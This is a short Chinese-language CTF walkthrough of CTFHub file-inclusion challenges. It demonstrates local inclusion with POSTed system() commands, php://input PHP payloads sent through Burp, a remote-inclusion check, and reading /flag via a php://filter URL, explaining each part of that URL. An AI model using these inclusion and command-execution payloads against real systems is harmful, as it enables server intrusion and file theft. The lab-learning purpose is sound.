文件包含
url
http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/
构造url,利用hackabar进行Post data修改测试
http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/?file=shell.txt
ctfhub=system("ls");
ctfhub=system("ls /"); //查看根目录
ctfhub=system("cat /flag"); //查看flag
php://input
burp抓包构造payload
<?php system("ls");?>
查看根目录
查看flag文件
远程包含
开启靶场访问页面
可能存在文件包含漏洞
点击phpinfo,查看allow的两个选项是否开启
抓包测试
发送到repeter模块,构造payload
查看文件
<?php system("ls /"); ?>
查看flag文件内容,找到flag
读取源代码
查看页面
构造url读取flag
http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
- 基本结构:
-
http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/
:这是目标服务器的基本URL。?file=
:这是一个查询参数,表明我们要访问某个文件。
- 流封装器部分:
-
php://filter/
:这是PHP的流封装器,用于应用不同的过滤器来操作流数据。
- 过滤器部分:
-
resource=
:这是php://filter
封装器的一种模式,表示要对指定的资源应用过滤器。/flag
:这是实际的文件路径,表明我们想要读取的文件是/flag
。
详细分析:
- php://filter:
-
- PHP中的
php://filter
流封装器允许我们在读取或写入数据时应用过滤器。 - 通常,我们会在
php://filter
之后指定过滤器(如base64编码、转换为字符串等),然后指定资源。
- PHP中的
- resource=/flag:
-
- 这里没有指定具体的过滤器,仅使用
resource=
,意思是直接访问资源文件。 - 目标文件是
/flag
,这个文件通常存储在服务器上,需要通过某种方式读取其内容。
- 这里没有指定具体的过滤器,仅使用
实际读取过程:
- 当服务器处理这个URL时,它会解析
file
参数并使用指定的流封装器。 php://filter/resource=/flag
会被解释为:直接访问并读取/flag
文件的内容。
假设服务器没有进一步的安全检查或限制,直接访问这个URL将导致服务器读取并返回/flag
文件的内容。这样就可以通过浏览器或其他HTTP客户端看到/flag
文件的内容,通常这个文件包含一些敏感信息,比如CTF比赛中的flag。
示例流程:
- 你访问这个URL。
- 服务器收到请求,解析查询参数
file=php://filter/resource=/flag
。 - 服务器使用PHP的流封装器读取
/flag
文件的内容。 - 文件内容作为HTTP响应的主体返回给你。